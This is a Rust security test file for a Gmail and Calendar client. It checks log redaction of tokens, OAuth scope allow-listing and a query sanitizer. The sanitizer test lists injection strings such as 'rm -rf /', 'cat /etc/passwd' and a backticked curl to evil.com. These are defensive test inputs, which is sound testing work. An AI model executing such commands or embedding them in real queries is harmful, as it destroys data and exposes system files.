use mcp_gmailcal::config::Config;
use mcp_gmailcal::errors::{GmailApiError, GmailResult};
use serde_json::json;
use std::sync::Arc;
fn create_sensitive_config() -> Config {
Config {
client_id: "super_secret_client_id_12345".to_string(),
client_secret: "super_secret_client_secret_abcde".to_string(),
refresh_token: "super_secret_refresh_token_98765".to_string(),
access_token: Some("super_secret_access_token_xyzabc".to_string()),
token_refresh_threshold: 300, token_expiry_buffer: 60, }
}
struct MockLogger {
logs: Arc<std::sync::Mutex<Vec<String>>>,
}
impl MockLogger {
fn new() -> Self {
MockLogger {
logs: Arc::new(std::sync::Mutex::new(Vec::new())),
}
}
fn log(&self, message: &str) {
let mut logs = self.logs.lock().unwrap();
logs.push(message.to_string());
}
#[allow(dead_code)]
fn contains_sensitive_data(&self, sensitive_data: &[&str]) -> bool {
let logs = self.logs.lock().unwrap();
for log in logs.iter() {
for data in sensitive_data {
if log.contains(data) {
return true;
}
}
}
false
}
fn get_logs(&self) -> Vec<String> {
let logs = self.logs.lock().unwrap();
logs.clone()
}
}
fn handle_token(config: &Config, logger: &MockLogger) -> String {
let truncated_client_id = if config.client_id.len() > 8 {
format!("{}...", &config.client_id[0..4])
} else {
"(id too short)".to_string()
};
let truncated_refresh_token = if config.refresh_token.len() > 8 {
format!("{}...", &config.refresh_token[0..4])
} else {
"(token too short)".to_string()
};
logger.log(&format!("Using client_id: {}", truncated_client_id));
logger.log(&format!("Using refresh_token: {}", truncated_refresh_token));
if let Some(token) = &config.access_token {
logger.log("Using existing access token");
let truncated_token = if token.len() > 8 {
format!("{}...{}", &token[0..4], &token[token.len() - 4..])
} else {
"****".to_string()
};
logger.log(&format!("Token starts with: {}", truncated_token));
token.clone()
} else {
logger.log("No access token found");
"".to_string()
}
}
fn make_token_request(_client_id: &str, _client_secret: &str, scope: &str) -> GmailResult<String> {
if !is_valid_scope(scope) {
return Err(GmailApiError::AuthError(
"Invalid or unauthorized scope".to_string(),
));
}
Ok("new_access_token".to_string())
}
fn is_valid_scope(scope: &str) -> bool {
let allowed_scopes = [
"https://www.googleapis.com/auth/gmail.readonly",
"https://www.googleapis.com/auth/gmail.modify",
"https://www.googleapis.com/auth/calendar",
"https://www.googleapis.com/auth/calendar.readonly",
"https://www.googleapis.com/auth/contacts.readonly",
];
allowed_scopes.contains(&scope)
}
fn sanitize_query(query: &str) -> String {
let sanitized = query
.replace(';', "")
.replace('&', "")
.replace('|', "")
.replace('$', "")
.replace('`', "")
.replace('>', "")
.replace('<', "");
sanitized
}
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_token_handling_security() {
let config = create_sensitive_config();
let logger = MockLogger::new();
let _ = handle_token(&config, &logger);
let logs = logger.get_logs();
let sensitive_data = [
"super_secret_client_id_12345",
"super_secret_client_secret_abcde",
"super_secret_refresh_token_98765",
"super_secret_access_token_xyzabc",
];
for data in &sensitive_data {
for log in &logs {
assert!(
!log.contains(data),
"Log should not contain the full sensitive data: {}",
data
);
}
}
let has_truncated_values = logs.iter().any(
|log| log.contains("..."), );
assert!(
has_truncated_values,
"Logs should contain some truncated values"
);
}
#[test]
fn test_sensitive_data_logging() {
let logger = MockLogger::new();
let access_token = "sensitive_access_token_123";
let user_email = "user@example.com";
logger.log(&format!("Access token: {}", access_token));
logger.log(&format!("User email: {}", user_email));
let obscured_token = if access_token.len() > 8 {
format!(
"{}...{}",
&access_token[0..4],
&access_token[access_token.len() - 4..]
)
} else {
"****".to_string()
};
logger.log(&format!("Token (obscured): {}", obscured_token));
let logs = logger.get_logs();
let has_full_token = logs.iter().any(|log| log.contains(access_token));
assert!(
has_full_token,
"Logs should contain the full token in this test"
);
let has_email = logs.iter().any(|log| log.contains(user_email));
assert!(has_email, "Logs should contain the email");
let has_obscured_pattern = logs.iter().any(|log| log.contains("..."));
assert!(
has_obscured_pattern,
"Logs should contain some obscured pattern with ..."
);
}
#[test]
fn test_input_sanitization() {
let malicious_inputs = [
"subject:important; rm -rf /",
"from:user@example.com & echo sensitive_data",
"is:unread | cat /etc/passwd",
"after:2025-01-01 `curl evil.com`",
"before:2025-01-01 > /etc/passwd",
"has:attachment < /etc/passwd",
];
for input in malicious_inputs {
let sanitized = sanitize_query(input);
assert!(!sanitized.contains(';'));
assert!(!sanitized.contains('&'));
assert!(!sanitized.contains('|'));
assert!(!sanitized.contains('$'));
assert!(!sanitized.contains('`'));
assert!(!sanitized.contains('>'));
assert!(!sanitized.contains('<'));
}
}
#[test]
fn test_scope_validation() {
let valid_scopes = [
"https://www.googleapis.com/auth/gmail.readonly",
"https://www.googleapis.com/auth/calendar",
"https://www.googleapis.com/auth/contacts.readonly",
];
for scope in valid_scopes {
assert!(is_valid_scope(scope), "Scope should be valid: {}", scope);
}
let invalid_scopes = [
"https://www.googleapis.com/auth/gmail.settings.basic", "https://www.googleapis.com/auth/drive", "https://www.googleapis.com/auth/cloud-platform", "malicious-scope", "", ];
for scope in invalid_scopes {
assert!(!is_valid_scope(scope), "Scope should be invalid: {}", scope);
}
}
#[test]
fn test_token_request_with_scope() {
let result = make_token_request(
"test_client_id",
"test_client_secret",
"https://www.googleapis.com/auth/gmail.readonly",
);
assert!(result.is_ok());
let result = make_token_request(
"test_client_id",
"test_client_secret",
"https://www.googleapis.com/auth/drive", );
assert!(result.is_err());
match result {
Err(GmailApiError::AuthError(msg)) => {
assert!(msg.contains("Invalid or unauthorized scope"));
}
_ => panic!("Expected AuthError for invalid scope"),
}
}
#[test]
fn test_secure_configuration_handling() {
let config = create_sensitive_config();
let config_json = json!({
"client_id": config.client_id,
"client_secret": config.client_secret,
"refresh_token": config.refresh_token,
"access_token": config.access_token,
});
let secure_config_json = json!({
"client_id_digest": "hash_of_client_id", "has_refresh_token": true, "token_expiry": "2025-05-01T00:00:00Z", });
let json_str = config_json.to_string();
assert!(json_str.contains(&config.client_id));
assert!(json_str.contains(&config.client_secret));
assert!(json_str.contains(&config.refresh_token));
let secure_json_str = secure_config_json.to_string();
assert!(!secure_json_str.contains(&config.client_id));
assert!(!secure_json_str.contains(&config.client_secret));
assert!(!secure_json_str.contains(&config.refresh_token));
}
}